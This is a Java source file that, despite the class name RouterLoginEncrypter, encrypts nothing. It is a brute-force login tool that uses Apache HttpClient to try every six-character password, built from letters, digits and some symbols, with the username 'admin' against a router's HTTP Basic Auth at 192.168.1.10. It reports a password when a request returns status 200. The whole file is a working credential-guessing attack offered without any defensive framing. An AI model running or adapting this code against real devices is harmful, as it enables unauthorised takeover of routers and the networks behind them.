package com.codinghero.example.http.authenticate;

import java.io.IOException;

import org.apache.http.HttpEntity;
import org.apache.http.HttpHost;
import org.apache.http.HttpResponse;
import org.apache.http.auth.AuthScope;
import org.apache.http.auth.UsernamePasswordCredentials;
import org.apache.http.client.AuthCache;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.protocol.ClientContext;
import org.apache.http.impl.auth.BasicScheme;
import org.apache.http.impl.client.BasicAuthCache;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.protocol.BasicHttpContext;
import org.apache.http.util.EntityUtils;

public class RouterLoginEncrypter {

	// private static int PASSWORD_LEAST_BIT = 6;
	// private static int PASSWORD_MAX_BIT = 7;
	// private static char START_CHAR = 32;
	// private static char END_CHAR = 127;
	private static char[] DATA = new char[] { 'a', 'b', 'c', 'd', 'e', 'f',
			'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',
			't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
			'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',
			'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6',
			'7', '8', '9', '0', '!', '@', '#', '$', '%', '^', '&', '*', '(',
			')' };
	// private static char[] DATA = new char[] { 'a', 'b', 'c', 'd', 'e', 'f',
	// 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',
	// 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6',
	// '7', '8', '9', '0'};
	private static int DATA_LENGTH = DATA.length;
	
	public static void main(String[] args) throws IOException {
		HttpHost targetHost = new HttpHost("192.168.1.10", 80, "http");
		DefaultHttpClient httpclient = new DefaultHttpClient();
		String password = "";
		try {

            // Create AuthCache instance
            AuthCache authCache = new BasicAuthCache();
            // Generate BASIC scheme object and add it to the local
            // auth cache
            BasicScheme basicAuth = new BasicScheme();
            authCache.put(targetHost, basicAuth);

            // Add AuthCache to the execution context
            BasicHttpContext localcontext = new BasicHttpContext();
            localcontext.setAttribute(ClientContext.AUTH_CACHE, authCache);

            HttpGet httpget = new HttpGet("/");

            System.out.println("executing request: " + httpget.getRequestLine());
            System.out.println("to target: " + targetHost);

			for (char i1 = 0; i1 < DATA_LENGTH; i1++) {
				char p1 = DATA[i1];
				System.out.println("p1=" + p1);
				for (char i2 = 0; i2 < DATA_LENGTH; i2++) {
					char p2 = DATA[i2];
					for (char i3 = 0; i3 < DATA_LENGTH; i3++) {
						char p3 = DATA[i3];
						for (char i4 = 0; i4 < DATA_LENGTH; i4++) {
							char p4 = DATA[i4];
							for (char i5 = 0; i5 < DATA_LENGTH; i5++) {
								char p5 = DATA[i5];
								for (char i6 = 0; i6 < DATA_LENGTH; i6++) {
									char p6 = DATA[i6];
									password = new String(new char[] {
											p1, p2, p3, p4, p5, p6 });
									httpclient.getCredentialsProvider().setCredentials(
											new AuthScope(targetHost.getHostName(),
													targetHost.getPort()),
											new UsernamePasswordCredentials("admin", password));
									HttpResponse response = httpclient.execute(targetHost, httpget, localcontext);
									HttpEntity entity = response.getEntity();
									if (response.getStatusLine().getStatusCode() == 200)
										System.out.println("success password=" + password);
									EntityUtils.consume(entity);
								}
							}
						}
					}
				}
			}
		} finally {
			httpclient.getConnectionManager().shutdown();
			System.out.println("failed password=" + password);
		}
	}

}
